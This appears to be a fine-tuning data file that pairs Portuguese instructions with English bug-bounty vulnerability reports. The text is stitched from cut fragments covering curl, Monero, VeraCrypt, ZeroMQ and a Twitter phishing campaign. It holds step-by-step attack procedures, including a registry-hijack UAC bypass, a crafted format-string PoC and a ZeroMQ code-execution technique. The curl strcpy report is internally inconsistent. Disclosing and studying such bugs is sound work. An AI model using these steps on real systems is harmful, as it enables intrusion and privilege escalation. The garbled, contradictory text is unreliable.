the victim.\n\n### Impacto\n: This matters if you want to ensure your users can invest their trust in Twitter. \n\nThe impact for Twitter is indirect. It is most likely going to affect trust in the service.\nThe impact for affected users is likely the full compromise of their computers. \n\nThe attack requires multiple (but trivial) steps. If an attacker controlled a website and was able to make an article on that site \"go viral\". Then they could exploit users via the \"Share this article\" feature. While the payload would be delivered instantly it is at a later date most likely when the victim would export their data to complete the attack. An attacker would require patience. For this reason I would say there is a high impact, low difficulty of exploitation, but a degree of patience is required on the attackers part. \n\nI would say the CVSS rating is honestly way too high given the hoops to jump through but using that calculator can be a mixed bag. Gimmie a choice I'd say \"high impact if exploited on the user side\", but \"probably not going to affect that many people\" so average out and finger in the air at \"medium\" risk. If I was consulting for Twitter I would raise it for discussion and even if it winds up as \"low\" on your risk criteria point out the universality and simplicity of the remediation.\n\nThe following shows how a list of modern web browsers (on Windows) behaved:\n\nFirefox 56.0.1\tYes - Vulnerable\nChrome 62.0.3202.62\tNo – less vulnerable\nInternet Explorer 11.674.15063.0\tNo – less vulnerable\nEdge 40.15063.674.0\tNo – less vulnerable\nOpera 48.0.2685.50\tNo – less vulnerable\n\nFireFox was the only one which scrolled the user to the bottom of the text field.

"instruction": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Buffer Overflow Vulnerability in strcpy() Leading to Remote Code Execution",
"input": "",
"output": "### Resumo da Vulnerabilidade\nThe vulnerability in the program arises from a classic buffer overflow, triggered by the unsafe use of the strcpy() function without bounds checking. The program copies data from a source buffer to a destination buffer, allowing attackers to overflow the buffer if the input string exceeds the buffer's allocated size. This vulnerability can lead to the overwriting of critical memory, such as the return address on the stack, enabling arbitrary code execution and control over the system. The vulnerability is caused by the unsafe use of strcpy(), which does not check the length of the input string before copying it into the buffer. When the input exceeds the buffer size, the overflow overwrites the adjacent memory, including the return address. The buffer overflow occurs within the strcpy() function, as seen in the following stack trace: `#0 __strcpy_evex () at ../sysdeps/x86_64/multiarch/strcpy-evex.S:94, #1 0x00007ffff765d2cd in CRYPTO_strdup () from /lib/x86_64-linux-gnu/libcrypto.so.3, #2 0x00007ffff756ef96 in ?? () from /lib/x86_64-linux-gnu/libcrypto.so.3...`. While libcrypto is present in the stack trace, the root cause of the overflow is in the curl program, not OpenSSL. The vulnerability is within the unsafe use of strcpy() in the curl application. At the overflow point, the CPU registers indicate the instruction pointer (IP) is inside `__strcpy_evex`. The register information shows values such as `rax 0x472cf0 4664560`, `rbx 0x7ffff7832be3 140737345956835`, `rip 0x7ffff7e31b80 0x7ffff7e31b80 <__strcpy_evex>`. The program is executing inside `__strcpy_evex`, where the buffer overflow occurs, allowing us to manipulate adjacent memory. The memory dump shows the stack around the overflow location with values such as `0x7fffffffd988: 0xf765d2cd 0x00007fff 0x00464a60 0x00000000, 0x7fffffffd998: 0x00472aa0 0x00000000 0x00000000 0x00000000...`. The return address, which is overwritten, is located at `0x7fffffffd9b8`. By overflowing the buffer, we can replace this return address with a controlled value. The overflowed buffer is used by strcpy() to copy user-provided data. The buffer resides on the stack, and because the size is unchecked, overflowing the buffer leads to the overwriting of crucial stack elements, including the return address. The key target for overwriting is the return address at `0x4005d0`. By overwriting it, the attacker can control the program’s execution flow. The exploit strategy involves filling the buffer with a long string (e.g., filled with \"A\"s) to overflow the buffer and reach the return address, then overwriting the return address with `0x4005d0`, the address of a shell-spawning function. Once the return address is overwritten, the program will return to `0x4005d0`, which triggers the execution of a shell for the attacker. The impact of this vulnerability includes code execution, privilege escalation if the program runs with elevated privileges, system compromise, and potentially a denial of service (DoS) if the overflow causes the program to crash or become unresponsive. An attacker can execute arbitrary code by redirecting the program flow, gaining a command shell and performing malicious actions such as stealing, manipulating, or deleting sensitive data.\n\n### Passos para Reproduzir\n1. Launch the vulnerable program: Start the application that contains the buffer overflow vulnerability, which uses the unsafe `strcpy()` function.\n \n2. Provide oversized input: Input a string that exceeds the buffer size. This can be done by sending a large string (such as a series of \"A\"s) to the program, triggering the buffer overflow. Ensure the input is large enough to overwrite the return address.\n \n3. Monitor the overflow: Use a debugger like GDB to monitor the program's execution and watch for the point where the buffer overflow occurs. Look for memory overwriting in the stack around the return address location.\n \n4. Overwrite the return address: After the buffer is filled, overwrite the return address with a controlled value, such as the address of a function that spawns a shell (e.g., `system(\"/bin/sh\")`).\n \n5. Execute the exploit: The program will return to the overwritten address, which should point to the shell-spawning function. If successful, the attacker will gain control of the system and can execute arbitrary commands.\n \n6. Confirm the impact: If the exploit works as intended, the program will execute the shell, giving the attacker control over the system.\n\n### Impacto\nThid bug can allow attackers to overwrite the return address on the stack, enabling them to execute arbitrary code or gain control of the system. By exploiting this vulnerability, attackers can redirect the program’s execution to a location of their choice, typically resulting in remote code execution or the execution of malicious commands, such as spawning a shell. This can lead to full system compromise, privilege escalation (if the program runs with elevated privileges), unauthorized access to sensitive data, manipulation of data, or even the complete takeover of the system. Additionally, if the buffer overflow leads to a program crash, it may result in a denial of service (DoS)."

"input": "",
"output": "### Resumo da Vulnerabilidade\nA vulnerability has been identified in the curl library’s formatted output functions (specifically in curl_msnprintf and its related functions). When a malicious (attacker-controlled) format string containing the %hn conversion specifier is passed, the function incorrectly attempts to write the number of characters printed into a pointer that is not provided by the caller. This leads to a misaligned memory write (as demonstrated by a write to address 0x000000000001), resulting in undefined behavior and a crash. Although the API documentation warns that these functions are to be used with controlled format strings, the internal handling of %hn should not lead to such dangerous memory accesses even with untrusted input.\n\nThe curl_mprintf family (including curl_msnprintf) is designed to behave like standard printf-style functions. According to the documentation, these functions expect a valid format string and matching arguments. However, when a malicious format string such as \"%hnuked\" is used, no corresponding argument is provided for the %hn specifier. This causes the internal formatting routine (in mprintf.c, line 1047) to dereference an invalid pointer (which turns out to be 0x000000000001) and attempt a store of a short value. Because the address is both misaligned and invalid, this results in a memory safety violation (as detected by AddressSanitizer with a misaligned store error).\n\n### Passos para Reproduzir\nThe following C code :\n\n```\n#include <stdio.h>\n#include <curl/mprintf.h>\n\nint main(void) {\n char buffer[256];\n const char *malicious_format = \"%hnuked\"; \n printf(\"Using malicious format string: \\\"%s\\\"\\n\", malicious_format);\n curl_msnprintf(buffer, sizeof(buffer), malicious_format);\n printf(\"Formatted output: %s\\n\", buffer);\n return 0;\n}\n```\nShould be compiled with AddressSanitizer enabled :\n\n` clang-14 -fsanitize=address vuln-curl.c -I include/ -o vuln-curl ./lib/.libs/libcurl.a -lz -lpsl -lbrotlidec `\n\nSo running it will result in the following ASAN log :\n\n```\n./vuln-curl \nUsing malicious format string: \"%hnuked\"\nmprintf.c:1047:9: runtime error: store to misaligned address 0x000000000001 for type 'short', which requires 2 byte alignment\n0x000000000001: note: pointer points here\n<memory cannot be printed>\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior mprintf.c:1047:9 in \nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==80435==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000001 (pc 0x5d47e8ac3191 bp 0x7fff9e689450 sp 0x7fff9e6877e0 T0)\n==80435==The signal is caused by a WRITE memory access.\n==80435==Hint: address points to the zero page.\n #0 0x5d47e8ac3191 in formatf /home/test/Documents/curl/lib/mprintf.c:1047:34\n #1 0x5d47e8abf553 in curl_mvsnprintf /home/test/Documents/curl/lib/mprintf.c:1080:13\n #2 0x5d47e8ac49ad in curl_msnprintf /home/test/Documents/curl/lib/mprintf.c:1100:13\n #3 0x5d47e8abf2ed in main (/home/test/Documents/curl/vuln-curl+0x2bb2ed) (BuildId: 9d173a19c9f17931aa243f138ec604086bb81fa9)\n #4 0x70b736e29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n #5 0x70b736e29e3f in __libc_start_main csu/../csu/libc-start.c:392:3\n #6 0x5d47e8a015e4 in _start (/home/test/Documents/curl/vuln-curl+0x1fd5e4) (BuildId: 9d173a19c9f17931aa243f138ec604086bb81fa9)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: SEGV /home/test/Documents/curl/lib/mprintf.c:1047:34 in formatf\n==80435==ABORTING\n```\n\nThe following supporting libfuzzer harness will also trigger the same bug :\n\n```\n#include <cstring>\n#include <random>\n#include \"curl_hmac.h\"\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n if (size == 0) return 0;\n // Create a buffer to hold the formatted string\n char buffer[256];\n \n // Ensure the input data is null-terminated\n std::vector<uint8_t> null_terminated_data(data, data + size);\n null_terminated_data.push_back(0);\n // Use curl_msnprintf to format the input data\n curl_msnprintf(buffer, sizeof(buffer), reinterpret_cast<const char *>(null_terminated_data.data()));\n // Open a file to write the output\n FILE *out_file = fopen(\"output_file\", \"wb\");\n if (!out_file) {\n return 0;\n }\n // Write the formatted string to the file\n fwrite(buffer, sizeof(char), strlen(buffer), out_file);\n fclose(out_file);\n // Simulate a CURLUcode error and get the error string\n CURLUcode error_code = CURLUE_BAD_HANDLE;\n const char *error_str = curl_url_strerror(error_code);\n // Open the input data as a file for reading\n FILE *in_file = fmemopen((void *)data, size, \"rb\");\n if (in_file) {\n // Read headers from the input file using curl_pushheader_byname\n struct curl_pushheaders *headers = nullptr;\n char *header_value = curl_pushheader_byname(headers, \"Content-Type\");\n if (header_value) {\n free(header_value);\n }\n fclose(in_file);\n }\n return 0;\n}\n```\n\nRecommendation:\nReview and adjust the internal handling of dangerous conversion specifiers (such as %n and %hn) in the curl_mprintf implementation.

Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as \"drive-by hacking.\"\n\nIn many cases, the attack can be launched without the victim even being aware of it.

I don't mine on this node because I will be using it to manufacture beefy transactions and I want to make sure that other, clean nodes will accept/mine these transactions.\n\nIn addition to the config changes, I have also modified the eth_sendTransaction code to add extra rlp-encoded bytes to the end of the transaction. In order to easily see the data in a hex blob, I'm just setting it to a repeated 0xbeef string. I've also hacked the getBlockByHash function to return the full encoded hex block in the extraData field, as a quick way to query and see the raw block data.\n\n```\nlocal:~/rskj$ # Start the attacker's node:\nlocal:~/rskj$ java -Dblockchain.config.name=regtest -cp rskj-core/build/libs/rskj-core-0.5.0-SNAPSHOT-all.jar co.rsk.Start\nlocal:~/rskj$\nlocal:~/rskj$ #

This is especially dangerous for administrators since if the attacker targeted them they could modify site data/content, modify accounts, read sensitive information such as users private information and more.\n\nIn my testing I was able to change profile names, change users passwords, read users email addresses, modify pages, modify the site data and modify the WordPress settings including the sites email address.\n\nI did not find anything I could not exploit which the targeted user had permissions to do, it seems depending on the target that the attacker can achieve full access to wp-admin and any other plugins that are installed and even chain requests together within a single attack.\n\nIt would also be possible to create a worm which when read would email its content to every other user again."

This is done by the attacker changing the mask amount in `genRctSimple` with a modified wallet. The attacker does not need any intervention from the attackee other than their public Monero address.\n\n### Passos para Reproduzir\n1. Clone and compile the v0.14.0.2 tagged branch of monero-project/monero\n 2. Create a new attackee wallet on stagenet. Load it up by sending a few transactions of various amounts to this wallet.\n 3. Create a new attacker wallet on stagenet. Send one small amount of coins such as 0.1 XMR.\n 4. [Modify this line in rctSigs.cpp](https://github.com/monero-project/monero/blob/v0.14.0.2/src/ringct/rctSigs.cpp#L803) to ` rv.ecdhInfo[i].amount = d2h(MONEY_SUPPLY);`\n 5. Recompile monero-project/monero\n 6. Open the attacker wallet and send a transaction to the attackee wallet. The amount you select to transfer does not matter. Send 0.05 XMR as an example.\n 7. Switch back to upstream code without the patch from step 4.\n 8. Open the attackee wallet and wait for network confirmations. The malformed transaction will correctly show up as 0 XMR. \n 9. Attempt to sweep all from the attackee wallet to any destination. The attackee wallet will throw an error: “Error: internal error: Daemon response did not include the requested real output.”\n\n### Impacto\nAn attacker can send malformed transactions and prevent an attackee from being able to sweep their balance. The attackee needs to apply the patch described above and rescan their wallet if they have been affected. Since this attack doesn’t cause permanent damage, it is less severe, however forcing the attackee to rescan their wallet causes loss of data such as tx secret keys."

"input": "",
"output": "### Resumo da Vulnerabilidade\nYour VeraCryptExpander.exe is vulnerable to a Local Privilege Escalation (UAC BYPASS) during execution. The issue is located here:\nhttps://github.com/veracrypt/VeraCrypt/blob/a108db7c85248a3b61d0c89c086922332249f518/src/ExpandVolume/VeraCryptExpander.manifest \nhttps://github.com/veracrypt/VeraCrypt/blob/a108db7c85248a3b61d0c89c086922332249f518/src/ExpandVolume/WinMain.cpp\n\nThe issue is detected on the fact that you launch a web page through an elevated process but trust the link to be opened by an app specified by registry keys belonging to HKCU Hive (current user domain) and not an elevated HIVE set like HKEY_LOCAL_MACHINE. It is possible for an attacker that has limited admin privileges (not full admin with UAC) to hijack the execution of you code by tampering specific registry keys linked to browsers and elevate his privileges ultimately tampering your installation folder by writing malicious code in it or replacing binaries with his own.\n\nA file less malware that has hijacked the reghive altering or creating specific keys can hijack the execution of you binary and bypass UAC achieving full admin right.\nExamples of malware using UAC bypass: https://attack.mitre.org/techniques/T1088/\nThe attack was successfully tested in both WIN 7 and WIN 10\n\n### Passos para Reproduzir\nWindows OS 7 (tested) for this example\nDefault browser Chrome (works with any default browser option just change the right reg)\nUser role ADMINISTRATOR - name of my user for the example is: TEMP\nStep0. Create malicious script to elevate: malstaller.bat on desktop (attached)\n\nStep1. Tamper Registry Keys - run add.bat attached after altering the current username\nThis action simulates an attacker (with low privilege admin) tampering the content of the following registry keys (no need for full admin rights). These keys are tampered to cover all cases of popular default browsers:\n\n[HKEY_CURRENT_USER\\Software\\Classes\\ChromeHTML\\shell\\open\\command]\n@=\"C:\\Users\\Temp\\Desktop\\malstaller.bat \\\"%1\\\"\"\n\n[HKEY_CURRENT_USER\\Software\\Classes\\ChromeURL\\shell\\open\\command]\n@=\"C:\\Users\\Temp\\Desktop\\malstaller.bat \\\"%1\\\"\"\n\n[HKEY_CURRENT_USER\\Software\\Classes\\FirefoxHTML\\shell\\open\\command]\n@=\"C:\\Users\\Temp\\Desktop\\malstaller.bat \\\"%1\\\"\"\n\n[HKEY_CURRENT_USER\\Software\\Classes\\FirefoxURL\\shell\\open\\command]\n@=\"C:\\Users\\Temp\\Desktop\\malstaller.bat \\\"%1\\\"\"\n\n[HKEY_CURRENT_USER\\Software\\Classes\\IE.HTTP\\shell\\open\\command]\n@=\"C:\\Users\\Temp\\Desktop\\malstaller.bat \\\"%1\\\"\"\n\n[HKEY_CURRENT_USER\\Software\\Classes\\IE.HTTPS\\shell\\open\\command]\n@=\"C:\\Users\\Temp\\Desktop\\malstaller.bat \\\"%1\\\"\"\n\n[HKEY_CURRENT_USER\\Software\\Classes\\HTTP\\shell\\open\\command]\n@=\"C:\\Users\\Temp\\Desktop\\malstaller.bat \\\"%1\\\"\"\n\n[HKEY_CURRENT_USER\\Software\\Classes\\HTTPS\\shell\\open\\command]\n@=\"C:\\Users\\Temp\\Desktop\\malstaller.bat \\\"%1\\\"\"\n\nThe path is altered to point to the malicious script that attacker wants to be elevated (UAC bypass attack/privilege escalation). This script can do anything like deleting/creating files under C:. Scheduling tasks etc.\n\nStep2. To achieve/activate UAC bypass\nRun VeraCryptExpander.exe and click on the button : \"Homepage\" on the higher top part of the window.\nThe execution in now hijacked (see video) and UAC bypass is achieved.\n\nA one liner used in the video will place fake VeraCrypt2.exe (with putty.exe as PoC) under your installation folder and execute it with full admin priviledges.\n\nUseful files of your installation can be tampered alternatively and used as backdoor.\n\nWatch the video attached were a simple .bat script gains elevated admin privileges during your software execution and writes in admin space.\n\nWINDOWS 10\nUser Role: Administrator\n\nIn order to successfully replicate the attack on Windows 10 the following steps must be followed (a little bit different from WIN 7) . As windows have changed some security setting you cannot alter the default browser for the attack to happen seamlessly. But win 10 users are still vulnerable. The difference is that after tampering reg keys to trap various browsers (not the current default) on the system in the affected system the victim must change the default browser to one that has been trapped for the exploit to happen.\n\nIn the example below on WIN 10 and with Default Browser assuming EDGE, we will trap IE. If after we alter reg keys executing the add.bat, the user chooses IE or any other browser in place as his default browser the exploit works as before.\n\nBe Admin user logged in!\nStep 1: Tamper or create registry keys for IE (or run add.bat) no UAC is needed to do so (your default browser is EDGE):\n\n[HKEY_CURRENT_USER\\Software\\IE.HTTP\\shell\\open\\command]\n[HKEY_CURRENT_USER\\Software\\IE.HTTPS\\shell\\open\\command]\n\nWith value:\n\"C:\\Users{PLACE PROPER USER ACCOUNT NAME HERE}\\Desktop\\malstaller.bat\" \"%1\"\n\nStep 2: After step 1 is done and only then admin user chooses to set IE as default browser (your default browser is IE but in reality user has set our malicious script as default browser!!!).\n\nStep3: Execute your vulnerable software that triggers the execution of the malicious code with elevated privileges as before. click button \"Homepage\" \n\nNote:\nIf the tampered keys are already set for ex. IE (booby-trap set) and for some reason the admin users chooses to change default browser from ex. Edge to IE (booby-trapped) then the attack works smoothly.\n\nBoth add.bat and malstaller.bat need changes in the username and relative paths to work for you.\n\nFix:Remove any link/button to external web resources on elevated processes.\n\nIn CPP while inside an elevated process (UAC accepted), use:\nvoid safeCall()\n{\n\tsystem(\"explorer http://www.test.com\");\n}\n\nInstead of:\nvoid unsafeCall()\n{\n\tShellExecute(0, 0, L\"http://www.test.com\", 0, 0, SW_SHOW);\n}\nThe safeCall() will trigger a new process to open the URL with less privileges, keeping you safe from the attack. Stupid workaround but it works if you need to keep the link.\n\n### Impacto\nIt is possible for an attacker that has limited admin privileges (not full admin with UAC) to hijack the execution of you code by tampering specific registry keys linked to browsers and elevate his privileges ultimately tampering your installation folder by writing malicious code in it or replacing binaries with his own. The installation of your software can be fully compromised."

While this may be intended behavior in circumstances that rely on wrapping, it can have security consequences if the wrap is unexpected. This is especially the case if the integer overflow can be triggered using user-supplied inputs. This becomes security-critical when the result is used to control looping, make a security decision, or determine the offset or size in behaviors such as memory allocation, copying, concatenation, etc."

Back to int... 9223372032559808515 becomes 3.\n bar->width = (int)num;\n```\n\nThen on **line 181** we have the buffer overflow:\n\n```c\n barwidth = bar->width - 7; // HERE we get 3-7 resulting in...\n num = (int) (((double)barwidth) * frac);\n if(num > MAX_BARLENGTH)\n num = MAX_BARLENGTH;\n memset(line, '#', num); // .... a crazy high value here!\n```\n\n### Impacto\n**If** a server runs `curl` with the `--progress-bar` argument set **and** (intentionally or unintentionally) allows an attacker to set environmental variables, the server could easily become a victim of a DoS attack."

"output": "### Resumo da Vulnerabilidade\nWe have encountered an issue with libcurl where, under certain network conditions, the library will attempt to submit data to an incorrect port as was set by CURLOPT_PORT. As information is sent to an unauthorised port, we consider this an information disclosure issue.\n\nOur security software encompasses a Windows application (an agent) that runs as a Windows service. Its purpose is to collect custom metrics from the machine, such as IO operations (file reads, file writes, ...), process start/stops, user login, and some other forensic info. We use libcurl to communicate with a server over HTTPS.\n\nA customer with ~5000 our agents raised an issue that approx 0.5% of all traffic is sent to port 443. In our application, we only use port 8080. Each request is made with source code (nearly identical) to the one I attach to this report.\n\nThis client uses Windows DNS load balancing. An agent will make a request to a local DNS server and the server will return an IP of one of the 5 servers based on round-robin. All servers have a web server running and our server-side application working on port 8080. \n\nWe were unable to pin-point exactly which network conditions trigger this issue reliably, however, we have been able to reproduce it in a production environment with logging enabled. This could potentially be triggered by a slow server response or when the web server is down.\n\n### Passos para Reproduzir\n1. Configure a round-robin DNS load balancing\n 2. Make a high number of small HTTPS request to port 8080\n 3. [Potentially] Server fails to handle a response [exact conditions were not established]\n 4. Approx 0.5% of all traffic will be directed to port 443, under the hood, without application instructions\n\n### Impacto\nAn attacker must have access to the authorised server, for example, be a local admin. \n\nThe server is expected to run a web app on a port other than 443, for example, port 8080. \n\nA client application will send traffic to only port 8080. But libcurl will occasionally send traffic to port 443. \n\nIf an attacker set up a web app on port 443, they will receive some traffic (0.5%) that was supposed to be sent to a different port."

The access is only allowed if the protocol, port and also the domain match exactly.\n \nHere is an example, the URLs below all belong to the same origin as http://site.com : \nhttp://site.com\nhttp://site.com/\nhttp://site.com/my/page.html\n\n\nWhereas the URLs mentioned below aren't from the same origin as http://site.com : \nhttp://www.site.com (a sub domain)\nhttp://site.org (different top level domain)\nhttps://site.com (different protocol)\nhttp://site.com:8080 (different port)\n\n\nWhen the sandbox attribute is set, the iframe content is treated as being from a unique origin, even if its hostname, port and protocol match exactly.

The hosted content is not allowed to make forms post back to any target. \nScripts are disabled. JavaScript is disabled and will not execute. \nLinks to other browsing contexts are disabled. An anchor tag targeting different browser levels will not execute. \nUnique origin treatment. All content is treated under a unique origin. The content is not able to traverse the DOM or read cookie information. \n\nWhen the sandbox attribute is not set or not configured correctly, your application might be at risk.\n\nA compromised website that is loaded in such an insecure iframe might affect the parent web application. These are just a few examples of how such an insecure frame might affect its parent:\nIt might trick the user into supplying a username and password to the site loaded inside the iframe. \nIt might navigate the parent window to a phishing page. \nIt might execute untrusted code. \nIt could show a popup, appearing to come from the parent site. \n\nSandbox containing a value of :\nallow-same-origin will not treat it as a unique origin. \nallow-top-navigation will allow code in the iframe to navigate the parent somewhere else, e.g. by changing parent.location. \nallow-forms will allow form submissions from inside the iframe. \nallow-popups will allow popups. \nallow-scripts will allow malicious script execution however it won't allow to create popups."

"output": "### Resumo da Vulnerabilidade\n[Resources Loaded from Insecure Origin (HTTP)]\n\n### Passos para Reproduzir\n[Vulnerability Details\ndetected that an active content loaded over HTTP within an HTTPS page]\n\nRemedy\nThere are two technologies to defense against the mixed content issues: \nHTTP Strict Transport Security (HSTS) is a mechanism that enforces secure resource retrieval, even in the face of user mistakes (attempting to access your web site on port 80) and implementation errors (your developers place an insecure link into a secure page) \nContent Security Policy (CSP) can be used to block insecure resource retrieval from third-party web sites \nLast but not least, you can use \"protocol relative URLs\" to have the user's browser automatically choose HTTP or HTTPS as appropriate, depending on which protocol the user is connected with. For example: \nA protocol relative URL to load an style would look like <link rel=\"stylesheet\" href=\"//example.com/style.css\"/>.\nSame for scripts <script type=\"text/javascript\" src=\"//example.com/code.js\"></script>\nThe browser will automatically add either \"http:\" or \"https:\" to the start of the URL, whichever is appropriate.\n\nExternal References\n\nhttps://developer.mozilla.org/en-US/docs/Web/Security/Mixed_content\n\nRemedy References\nhttps://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security\nhttps://en.wikipedia.org/wiki/Content_Security_Policy\n\n### Impacto\nImpact\nActive Content is a resource which can run in the context of your page and moreover can alter the entire page. If the HTTPS page includes active content like scripts or stylesheets retrieved through regular, cleartext HTTP, then the connection is only partially encrypted. The unencrypted content is accessible to sniffers.\nA man-in-the-middle attacker can intercept the request for the HTTP content and also rewrite the response to include malicious codes. Malicious active content can steal the user's credentials, acquire sensitive data about the user, or attempt to install malware on the user's system (by leveraging vulnerabilities in the browser or its plugins, for example), and therefore the connection is not safeguarded anymore."

Presumably can happen to accounts with Open DMs. The direct message, because of link truncation appears to be a Youtube video. Message in general looks like this. ONLY FOR YOU Eric JN Ellason { accounts.youtube.com/accounts/SetSI... } message id: 92439 ]\n 2. [The User who receives this direct message from someone they follow, clicks on the embedded link (in some cases from very trusted sources who have themselves been infected).]\n 3. [The link sequence first attempts to log the user out of any Google accounts or apps they are currently logged into. And then asks them to relog back into their Google account, capturing their Google account credentials. Presumably there is a malicious Google app that they have created which in turn continues the sequence and currently eventually sends them to the website www.getmorefollowers.biz . Other domains have been used and will likely be swapped out in the future. We provide a list of 7 domains we believe have been used in this campaign.]\n 4. [getmorefollowers.biz currently redirects the user to www.freefollower.eu and specifically this URL www.freefollower.eu/redirect.php. The user will generally be unaware of this redirect and will only see the final Twitter authentication screen to authenticate a 3rd party Twitter app. We were able to short circuit the redirect chain and use just the URL www.freefollower.eu/redirect.php from different VPN locations and with a virgin state browser to identify most of the different malicious 3rd party apps. It appears they randomize sending the user to 1 of at least 10 different 3rd party apps. We document them below in the \"Additional Materials\" section]\n 5. [For users not logged into any Google accounts, they get directly sent to the website www.getmorefollowers.biz and step 4 above continues the sequence ]\n 6. [Since the user is presumably already logged into their Twitter account they then get an authentication screen asking them to authenticate the app. It is also possible via malicious javascripts that this process of clicking on the authentication button is completed for them in the background making the user completely unaware of much of this sequence.]\n 7. [If the user is not logged into their Twitter account and has javascript disabled I believe the sequence does stop at the freefollower.eu website. Here you can click on the \"Signin with Twitter\" button to log into your Twitter account and then authenticate this app to have access to your account. Of course this sequence really only happens with security professionals looking into and short circuiting the redirect sequences]\n\n### Impacto\n: [The attacker in this situation has already been able to create a viral attack vector in addition to harvesting thousands of Google account credentials and installing their malicious 3rd party Twitter app on thousands of accounts. Please note this report is also being submitted to the Google Bug Bounty program because part of the attack sequence occurs on their infrastructure.\n\nOnce one account is breached that account in turn sends out the malicious link via the authenticated 3rd party Twitter app (we identify the set of randomized apps above) to everyone in their trusted set of reciprocal follows (since the link is sent only via direct message). This greatly increases the trust factor and likely hood a significant number of people that receive this link will click and follow the malicious sequence and continue the viral infection sequence. At the same time the hackers can have their malicious 3rd party Twitter app authenticated within thousands of accounts. Through RiskIQ we were already able to verify that thousands of Twitter accounts within the past month had been breached and infected via this Clickjacking attack. We are attaching a document showing about 1000 accounts that fell victim to this attack (see attachment ███). We have confirmed a handful on this list by finding tweets much like the account reDawn8718 that we have attached here.\n\nWe also plan to publish our findings once we are contacted and the issue is resolved in a timely manner.]"

"input": "",
"output": "### Resumo da Vulnerabilidade\nA pointer overflow, with code execution, was discovered in ZeroMQ libzmq (aka 0MQ) 4.2.x and 4.3.x before 4.3.1. A v2_decoder.cpp zmq::v2_decoder_t::size_ready integer overflow allows an authenticated attacker to overwrite an arbitrary amount of bytes beyond the bounds of a buffer, which can be leveraged to run arbitrary code on the target system. The memory layout allows the attacker to inject OS commands into a data structure located immediately after the problematic buffer (i.e., it is not necessary to use a typical buffer-overflow exploitation technique that changes the flow of control).\n\n### Passos para Reproduzir\nIn src/v2_decoder.cpp zmq::v2_decoder_t::eight_byte_size_ready(), the attacker can provide an uint64_t of his choosing:\n\n 85 int zmq::v2_decoder_t::eight_byte_size_ready (unsigned char const *read_from_)\n 86 {\n 87 // The payload size is encoded as 64-bit unsigned integer.\n 88 // The most significant byte comes first.\n 89 const uint64_t msg_size = get_uint64 (_tmpbuf);\n 90 \n 91 return size_ready (msg_size, read_from_);\n 92 }\n\nThen, in src/v2_decoder.cpp zmq::v2_decoder_t::size_ready(), a comparison is performed to check if this peer-supplied msg_size_ is within the bounds of the currently allocated block of memory:\n\n117 if (unlikely (!_zero_copy\n118 || ((unsigned char *) read_pos_ + msg_size_\n119 > (allocator.data () + allocator.size ())))) {\n\nThis is inadequate because a very large msg_size_ will overflow the pointer (read_pos_).\nIn other words, the comparison will compute as 'false' even though msg_size_ bytes don't fit in the currently allocated block.\nExploit details\n\nNow that msg_size_ has been set to a very high value, the attacker is allowed to send this amount of bytes, and libzmq will copy it to its internal buffer without any further checks.\n\nThis means that it's possible to write beyond the bounds of the allocated space.\n\nHowever, for the exploit this is not necessary to corrupt memory beyond the buffer proper.\n\nAs it turns out, the space the attacker is writing to is immediately followed by a struct content_t block:\n\n 67 struct content_t\n 68 {\n 69 void *data;\n 70 size_t size;\n 71 msg_free_fn *ffn;\n 72 void *hint;\n 73 zmq::atomic_counter_t refcnt;\n 74 };\n\nSo the memory layout is such that the receive buffer is immediately followed by data, then size, then ffn, then hint, then refcnt.\nNote that the receive buffer + the struct content_t is a single, solid block of memory; by overwriting beyond the designated receive buffer's bounds, no dlmalloc state variables in memory (like bk, fd) are corrupted (or, in other words, it wouldn't trigger AddressSanitizer).\n\nThis means that the attacker can overwrite all these members with arbitrary values.\n\nffn is a function pointer, that upon connection closure, is called with two parameters, data and hint.\n\nThis means the attacker can call an arbitrary function/address with two arbitrary parameters.\n\nIn my exploit, I set ffn to the address of strcpy, set the first parameter to somewhere in the executable's .data section, and the second parameter to the address of the character I want to write followed by a NULL character.\n\nSo for instance, if i want to write a 'g' character, I search the binary for an occurrence of 'g\\x00', and use this address as the second value to my strcpy call.\n\nFor each character of the command I want to execute on the remote machine, I make a separate request to write that character to the .data section.\nSo if I want to execute 'gnome-calculator', I first write a 'g', then a 'n', then an 'o', and so on, until the full 'gnome-calculator' string is written to .data.\n\nIn the next request, I overwrite the 'data' member of struct content_t with the address of the .data section (where now gnome-calculator resides), set the ffn member to the system libc function, and hint to NULL.\n\nIn effect, this calls system(\"gnome-calculator\"), by which this command is executed on the remote machine.\nExploit\n\nThe following is a self-exploit, that demonstrates the exploit flow as explained above.\n\n#include

callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system);\n\n return 0;\n}\n\nNotes\n\nCrucial to this exploit is knowing certain addresses, like strcpy and system, though the address of strcpy could be replaced with any executable location that contains stosw / ret or anything else that moves [rsi] to [rdi], and system might be replaced with code that executes the string at rsi.\n\nI did not find any other vulnerabilities in libzmq, but if there is any information leaking vulnerability in libzmq, or the application that uses it, that would allow the attacker to calculate proper code offsets, this would defeat ASLR.\nResolution\n\nResolution of this vulnerability must consist of preventing pointer arithmetic overflow in src/v2_decoder.cpp zmq::v2_decoder_t::size_ready().\n\n###

I attached the most important part of the fuzzer.\n\n\nIt is not obvious how to reproduce without the fuzzer: (c->numcookies must be nonzero and co->domain must not be set on at least one of them for this bug to be triggered. Perhaps by loading an evil cookie file from disk.\n\nTo detect it, address and undefined sanitizers are not sufficient. That is likely because qsort is a library function, so it's not instrumented. Valgrind does not always catch it either. I found it by adding an assert on pointer alignment inside the cookie_sort_ct(), and eventually found which of the 60000 test cases I had caused it.\n\n### Impacto\nThis is read access, and if triggered it will perhaps cause a crash (segmentation fault), and the cookie jar is not written.

